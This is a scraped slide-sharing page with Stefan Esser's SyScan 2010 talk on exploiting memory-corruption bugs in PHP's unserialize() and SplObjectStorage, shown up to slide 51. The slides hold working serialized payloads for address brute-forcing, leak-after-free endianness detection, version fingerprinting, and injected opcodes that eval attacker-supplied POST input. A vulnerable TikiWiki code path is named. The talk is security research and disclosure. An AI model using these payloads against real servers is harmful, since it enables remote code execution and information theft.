Leading Change strategies and insights for effective change management pdf 1.pdfLeading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdf
OnBoard
 
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptxSecstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
nkrafacyberclub
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
SOFTTECHHUB
 
Essentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FMEEssentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FME
Safe Software
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
Enhancing Performance with Globus and the Science DMZ
Enhancing Performance with Globus and the Science DMZEnhancing Performance with Globus and the Science DMZ
Enhancing Performance with Globus and the Science DMZ
Globus
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Albert Hoitingh
 

Recently uploaded (20)

Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
 
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
Leading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdfLeading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdf
 
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptxSecstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
 
Essentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FMEEssentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FME
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
Enhancing Performance with Globus and the Science DMZ
Enhancing Performance with Globus and the Science DMZEnhancing Performance with Globus and the Science DMZ
Enhancing Performance with Globus and the Science DMZ
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
 

SyScan Singapore 2010 - Returning Into The PHP-Interpreter

  • 1. http://www.sektioneins.de Returning into the PHP Interpreter memory corruption exploits against PHP are not over yet Stefan Esser <stefan.esser@sektioneins.de> SyScan 2010 Singapore
  • 2. Who am I? Stefan Esser • from Cologne/Germany • Information Security since 1998 • PHP Core Developer since 2001 • Suhosin / Hardened-PHP 2004 • Month of PHP Bugs 2007 / Month of PHP Security 2010 • Head of Research & Development at SektionEins GmbH Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  2
  • 3. Month of PHP Security 2010 • May 2010 was the Month of PHP Security • PHP security conference without a conference • sponsored by SyScan/Coseinc, SektionEins and CodeScan Ltd. • We disclosed 60 vulnerabilities in PHP and PHP applications in 31 days • We released 10 user submitted PHP security articles/tools • Submitters could win attractive prizes • Winner was Solar Designer - if you haven‘t heard of him leave the room NOW Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  3
  • 4. Part I Introduction Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  4
  • 5. Introduction (I) Random Quotes from the Web Application Security World • „80% of web sites are vulnerable to XSS“ • „Web Applications don‘t get hacked by memory corruption or buffer overflow bugs“ • „Attacking webservers via memory corruption vulnerabilities has become too difficult anyway“ Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  5
  • 6. Introduction (II) SektionEins‘s reality • „80% of PHP application source code we audit contains remote code exec vulnerabilities“ • „Web Applications expose buffer overflows and memory corruption vulnerabilities in PHP to remote attackers“ • „There are still sweet bugs that can be exploited“ Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  6
  • 7. Introduction (III) What the talk is about? • Returning into the PHP interpreter in memory corruption exploits • A 0-day vulnerability in a PHP function • and how to exploit it Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  7
  • 8. Part II Returning into the PHP Interpreter Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  8
  • 9. Why return into the PHP interpreter? • bypassing true NX requires ROP • bypassing ASLR requires information leaks • returning into the PHP interpreter requires only one leaked address • PHP is a powerful scripting language to write shellcode in • local vulnerabilities in PHP allow arbitrary memory access Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  9
  • 10. How to return into the PHP interpreter? • returning into PHP functions? • returning into the bytecode executor? • returning into opcode handlers? • returning into zend_eval_string() functions? Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  10
  • 11. Returning into PHP functions • There are two kinds of PHP functions • user-space (byecode executor) • internal (C function) • Argument stack on heap - no control over arguments • For PHP 5.3.x call stack is also on heap • only useable if there a PHP function that • does exactly what we need • does not require parameters - but allows the same function parameters as current function Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  11
  • 12. Returning into the bytecode executor (I) struct _zend_op_array { /* Common elements */ zend_uchar type; char *function_name; ... /* END of common elements */ zend_bool done_pass_two; zend_uint *refcount; • Returning into the execute() function zend_op *opcodes; zend_uint last, size; • Requires an op_array struct parameter zend_compiled_variable *vars; int last_var, size_var; zend_uint T; • Several fields have to be valid data zend_brk_cont_element *brk_cont_array; int last_brk_cont; int current_brk_cont; • last_var zend_try_catch_element *try_catch_array; int last_try_catch; • T /* static variables support */ HashTable *static_variables; zend_op *start_op; • this_var = -1 int backpatch_count; zend_uint this_var; • opcodes = start_op char *filename; zend_uint line_start; zend_uint line_end; char *doc_comment; zend_uint doc_comment_len; zend_uint early_binding; void *reserved[ZEND_MAX_RESERVED_RESOURCES]; }; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  12
  • 13. Returning into the bytecode executor (II) struct _zend_op { opcode_handler_t handler; znode result; znode op1; znode op2; ulong extended_value; • Opcode injection requires to know uint lineno; the handler address zend_uchar opcode; }; • Alternatively before returning to execute() a return into pass_two() is required typedef struct _znode { int op_type; • Injected opcodes should use as few data union { pointers as possible zval constant; zend_uint var; zend_uint opline_num; • easiest solution just creates a string zend_op_array *op_array; char by char and evaluates it zend_op *jmp_addr; struct { zend_uint var; zend_uint type; } EA; } u; } znode; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  13
  • 14. Returning into the bytecode executor (III) ADD_CHAR ~1, 101 ADD_CHAR ~1, ~1, 118 ADD_CHAR ~1, ~1, 97 ADD_CHAR ~1, ~1, 108 ADD_CHAR ~1, ~1, 40 ADD_CHAR ~1, ~1, 36 ADD_CHAR ~1, ~1, 95 ADD_CHAR ~1, ~1, 80 ADD_CHAR ~1, ~1, 79 ADD_CHAR ~1, ~1, 83 ADD_CHAR ~1, ~1, 84 ADD_CHAR ~1, ~1, 91 ADD_CHAR ~1, ~1, 39 ADD_CHAR ~1, ~1, 120 ADD_CHAR ~1, ~1, 39 ADD_CHAR ~1, ~1, 93 ADD_CHAR ~1, ~1, 41 ADD_CHAR ~1, ~1, 59 EVAL ~1 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  14
  • 15. Returning into Opcode handlers (I) struct _zend_execute_data { struct _zend_op *opline; zend_function_state function_state; zend_function *fbc; /* Function Being Called */ • Returning into the C implementation zend_class_entry *called_scope; zend_op_array *op_array; of an opcode handler zval *object; union _temp_variable *Ts; • Difficulty: opcode handlers are fastcall zval ***CVs; HashTable *symbol_table; struct _zend_execute_data *prev_execute_data; • parameter execute_data is zval *old_error_reporting; passed in ECX zend_bool nested; zval **original_return_value; zend_class_entry *current_scope; • need to return into pop ecx, ret first zend_class_entry *current_called_scope; zval *current_this; zval *current_object; struct _zend_op *call_opline; }; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  15
  • 16. Returning into Opcode handlers (II) • There seem to be several interesting opcodes • ZEND_INCLUDE_OR_EVAL • ZEND_JMPxx • ZEND_GOTO • But only ZEND_INCLUDE_OR_EVAL is directly useful • Requires to know the address of the handler and the string to eval Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  16
  • 17. Returning into zend_eval_string() functions (I) • returning into C functions evaluating PHP code • zend_eval_string() • zend_eval_stringl() • zend_eval_string_ex() • zend_eval_stringl_ex() • easiest way to return into PHP shellcode • like ret2libc but returning into PHP‘s own C functions Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  17
  • 18. Returning into zend_eval_string() functions (II) pro: • simple arguments • pointer to PHP code • NULL (or empty writeable memory address) • pointer to readable memory • only one function address must be known: zend_eval_string() con: • plaintext PHP code in request data (obfucate PHP code!!!) • eval() could be disabled by Suhosin Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  18
  • 19. Part III PHP‘s unserialize() Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  19
  • 20. unserialize() • allows to deserialize serialized PHP variables • supports most PHP variable types • integers / floats / boolean • strings / array / objects • references • often exposed to user input • many vulnerabilities in the past Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  20
  • 21. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} array Unserialize keeps a table of all created variables during deserialization in order to support references Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  21
  • 22. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 array 0 0 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  22
  • 23. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 0 0 1 2.0 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  23
  • 24. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 1 2.0 2 “ABCD“ Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  24
  • 25. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 5 1 2.0 2 “ABCD“ 3 2.0 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  25
  • 26. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 5 stdClass 1 2.0 6 2 “ABCD“ 3 2.0 4 stdClass Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  26
  • 27. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 5 stdClass 1 2.0 6 2 “ABCD“ a stdClass 7 3 2.0 4 stdClass Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  27
  • 28. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 5 stdClass 1 2.0 6 2 “ABCD“ a stdClass 7 3 2.0 b NULL 8 4 stdClass Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  28
  • 29. unserialize() a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i: var_table 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i: 1 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}} 2 3 array 4 0 0 5 stdClass 1 2.0 6 2 “ABCD“ a stdClass 7 3 2.0 b NULL 8 4 stdClass 9 5 splObjectStorage splObjectStorage ... ... Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  29
  • 30. Part IV SplObjectStorage Deserialization Vulnerability Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  30
  • 31. SplObjectStorage • provides an object set in PHP 5.2 <?php $x = new SplObjectStorage(); C:16:"SplObjectStorage":47:{x:i:2;O:5:"Alpha":0: $x->attach(new Alpha()); {};O:4:"Beta":0:{};m:a:0:{}} $x->attach(new Beta()); ?> • provides a map from objects to data in PHP 5.3 <?php $x = new SplObjectStorage(); C:16:"SplObjectStorage":61:{x:i:2;O:5:"Alpha":0:{}, $x->attach(new Alpha(), 123); i:123;;O:4:"Beta":0:{},i:456;;m:a:0:{}} $x->attach(new Beta(), 456); ?> Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  31
  • 32. Object Set/Map Index • key to the object set / map is derived from the object value zend_object_value zvalue; memset(&zvalue, 0, sizeof(zend_object_value)); zvalue.handle = Z_OBJ_HANDLE_P(obj); zvalue.handlers = Z_OBJ_HT_P(obj); zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL); typedef struct _zend_object_value { zend_object_handle handle; zend_object_handlers *handlers; } zend_object_value; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  32
  • 33. Vulnerability in PHP 5.3.x • references allow to attach the same object again • in PHP 5.3.x this will destruct the previously stored extra data • destruction of the extra data will not touch the internal var_table • references allow to still access/use the freed PHP variables • use-after-free vulnerability allows to info leak or execute code Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  33
  • 34. Vulnerability in PHP 5.2.x (I) • in PHP 5.2.x there is no extra data • attaching the same object will just decrease the reference counter • unserializer is not protected against type confusion attacks • on x86 systems a double can collide with an object object object handle handlers ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ object ZVAL: 18 00 00 00 80 40 B5 01 01 00 00 00 05 00 double ZVAL: 18 00 00 00 80 40 B5 01 01 00 00 00 02 00 ⎭ ⎪ ⎪ ⎬ ⎪ ⎪ ⎫ double value with same binary representation 1.983367467369837e-300 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  34
  • 35. Vulnerability in PHP 5.2.x (II) • double with same binary representation will destruct the object • destruction of object will not touch the internal var_table • references allow to still access/use the freed object/properties • use-after-free vulnerability allows to info leak or execute code • exploit works against 32 bit PHP 5.3.x, too Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  35
  • 36. Vulnerable Applications • discussed vulnerability allows arbitrary code execution in any PHP application unserializing user input • but in order to exploit it nicely the PHP applications should re-serialize and echo the result • both is quite common in widespread PHP applications e.g. TikiWiki 4.2 if (!isset($_REQUEST['printpages']) && !isset($_REQUEST['printstructures'])) { ... } else { $printpages = unserialize(urldecode($_REQUEST["printpages"])); $printstructures = unserialize(urldecode($_REQUEST['printstructures'])); } ... $form_printpages = urlencode(serialize($printpages)); $smarty->assign_by_ref('form_printpages', $form_printpages); Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  36
  • 37. Part V Bruteforcing the Object Handlers Address Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  37
  • 38. Object Handler Address Bruteforcing (I) • in order to exploit PHP 5.2.x a double collision is required • a double collision occurs when object handle and object handlers matches the binary representation of a double • object handle is a small number • object handlers is a pointer into the data segment typedef struct _zend_object_value { zend_object_handle handle; zend_object_handlers *handlers; } zend_object_value; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  38
  • 39. Object Handler Address Bruteforcing (II) • object handle • small number depending on number of objects • bruteforcing not required we can just serialize 50 stdClass objects • assume 49 as handle • object handlers • low 12 bits of address are known for a known PHP binary • shared library randomization usually worse than 17 bit • we can bruteforce multiple addresses with one request • bruteforcing doesn‘t crash the process Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  39
  • 40. Object Handler Address Bruteforcing (III) serialized payload tries 16 different addresses 0x2190620 - 0x2191620 - ... - 0x219F620 a:1:{i:0;C:16:"SPLObjectStorage":1468:{x:i:67;O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O: 8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};i:0;;d: 1.49465084952099366e-298;;d:1.49838390399500653e-298;;d:1.50211695846901941e-298;;d: 1.50585001294303228e-298;;d:1.50958306741704516e-298;;d:1.51331612189105804e-298;;d: 1.51704917636507091e-298;;d:1.52078223083908379e-298;;d:1.52451528531309666e-298;;d: 1.52824833978710954e-298;;d:1.53198139426112241e-298;;d:1.53571444873513529e-298;;d: 1.53944750320914816e-298;;d:1.54318055768316104e-298;;d:1.54691361215717392e-298;;d: 1.55064666663118679e-298;;m:a:0:{}}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  40
  • 41. Object Handler Address Bruteforcing (III) a:1:{i:0;C:16:"SplObjectStorage":2759:{x:i:66;O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O: 8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};d: 1.498383903995006533587932934186705130879643680980753130639055833542348720431762506685108651824309255E-298;;O: 8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass": 0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O: 8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass": 0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O: 8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass": 0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O: 8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass": 0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};i:0;;d: 1.494650849520993658071972576007809862201175315195266298540568976183164852787859404147290890515917731E-298;;d: 1.50211695846901940910389329236560039955811204676623996273754269090153258807566560922292641313270078E-298;;d: 1.505850012943032284619853650544495668236580412551726794836029548260716455719568711760744174441092304E-298;;d: 1.509583067417045160135814008723390936915048778337213626934516405619900323363471814298561935749483829E-298;;d: 1.513316121891058035651774366902286205593517144122700459033003262979084191007374916836379697057875353E-298;;d: 1.517049176365070911167734725081181474271985509908187291131490120338268058651278019374197458366266877E-298;;d: 1.520782230839083786683695083260076742950453875693674123229976977697451926295181121912015219674658402E-298;;d: 1.524515285313096662199655441438972011628922241479160955328463835056635793939084224449832980983049926E-298;;d: 1.528248339787109537715615799617867280307390607264647787426950692415819661582987326987650742291441451E-298;;d: 1.531981394261122413231576157796762548985858973050134619525437549775003529226890429525468503599832975E-298;;d: 1.535714448735135288747536515975657817664327338835621451623924407134187396870793532063286264908224499E-298;;d: 1.539447503209148164263496874154553086342795704621108283722411264493371264514696634601104026216616024E-298;;d: 1.543180557683161039779457232333448355021264070406595115820898121852555132158599737138921787525007548E-298;;d: 1.546913612157173915295417590512343623699732436192081947919384979211738999802502839676739548833399073E-298;;d: 1.550646666631186790811377948691238892378200801977568780017871836570922867446405942214557310141790597E-298;;m:a: 0:{}}} >>> struct.pack("d",1.4983839039950065335879329341867051308796436809807531306390558....E-298) 'x31x00x00x00x20x16x19x02' => 0x2191620 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  41
  • 42. Part VI Simple Information Leaks via unserialize() Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  42
  • 43. DWORD Size? • for the following steps it is required to know if target is 32 bit or 64 bit • we can detect the bit size by sending integers larger than 32 bit - sending: ➡ i:11111111111; - answer: ➡ 64 bit PHP - i:11111111111; ➡ 32 bit PHP - i:-1773790777; ➡ 32 bit PHP - d:11111111111; Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  43
  • 44. PHP 5.2.x vs. PHP 5.3.x • as demonstrated the exploit is different for PHP 5.2.x and 5.3.x • we can detect a difference in the ArrayObject implementation - sending: ➡ O:11:"ArrayObject":0:{} - answer: ➡ PHP 5.2.x - O:11:"ArrayObject":0:{} ➡ PHP 5.3.x - C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  44
  • 45. SplObjectStorage Version • bugfix in the latest versions of PHP 5.2.x and PHP 5.3.x • stored objects counter is no longer put in var_table • can be detected by references - sending: ➡ C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;r:4;}} - answer: ➡ PHP <= 5.2.12 - PHP <= 5.3.1 C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:2;}} ➡ PHP >= 5.2.13 - PHP >= 5.3.2 C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:1;}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  45
  • 46. Part VII Leak-After-Free Attacks Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  46
  • 47. Endianess? • for portability we need to detect the endianess remotely • no simple info leak available • we need a leak-after-free attack for this Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  47
  • 48. Creating a fake integer ZVAL • we construct a string that represents an integer ZVAL integer reference value counter ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ 32 bit integer ZVAL: 00 01 00 00 41 41 41 41 00 01 01 00 01 00 • string is a valid integer no matter what endianess • reference counter is choosen to be not zero or one (0x101) • type is set to integer variable (0x01) • value will be 0x100 for little endian and 0x10000 for big endian • when sent to the server the returned value determines endianess Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  48
  • 49. Endianess Unserialize Payload orange numbers are not valid because serialized strings were modified to enhance visibilty • create an array of integer variables • free the array • create a fake ZVAL string which will reuse the memory • create a reference to one of the already freed integer variables • reference will point to our fake ZVAL a:1:{i:0;C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i: 2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i: 10;i:10;};i:0;,i:0;;m:a:2:{i:1;S:19:"00010000AAAA 0001010001x00BBCCC";i:2;r:11;}}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  49
  • 50. Endianess Payload Reply • for little endian systems the reply will be a:1:{i:0;C:16:"SplObjectStorage":65:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S: 19:"00010000AAAA0001010001x00BBCCC";i:2;i:256;}}} • and for big endian systems it is a:1:{i:0;C:16:"SplObjectStorage":67:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S: 19:"00010000AAAA0001010001x00BBCCC";i:2;i:65536;}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  50
  • 51. Leak Arbitrary Memory? • we want a really stable, portable, non-crashing exploit • this requires more info leaks - it would be nice to leak arbitrary memory • is that possible with a leak-after-free attack? Yes it is! Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  51
